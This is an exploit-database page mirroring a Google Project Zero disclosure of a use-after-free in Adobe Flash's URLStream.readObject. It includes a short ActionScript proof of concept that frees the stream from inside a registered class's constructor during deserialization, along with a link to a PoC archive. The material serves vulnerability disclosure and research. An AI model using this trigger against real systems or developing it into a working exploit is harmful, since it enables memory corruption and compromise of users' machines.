Lucene search
K

Adobe Flash - URLStream.readObject Use-After-Free

🗓️ 01 Apr 2016 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 37 Views

Use-After-Free vulnerability in Adobe Flash URLStream.readObjec

Related
Code
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611
 
There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.
 
A minimal PoC is as follows:
 
//In main
 
flash.net.registerClassAlias("bob", myclass);
             
             
var u:URLStream = new URLStream();
myclass.u = u;
u.addEventListener(Event.COMPLETE, func);
u.load(new URLRequest("file.txt"));
     
function func(){    
    trace(u.readObject());
    }
 
// in myclass
 
static public var u;
         
public function myclass()
{
    u.close();
}
 
A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39649.zip

#  0day.today [2018-04-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2016 00:00Current
8.9High risk
Vulners AI Score8.9
EPSS0.31634
37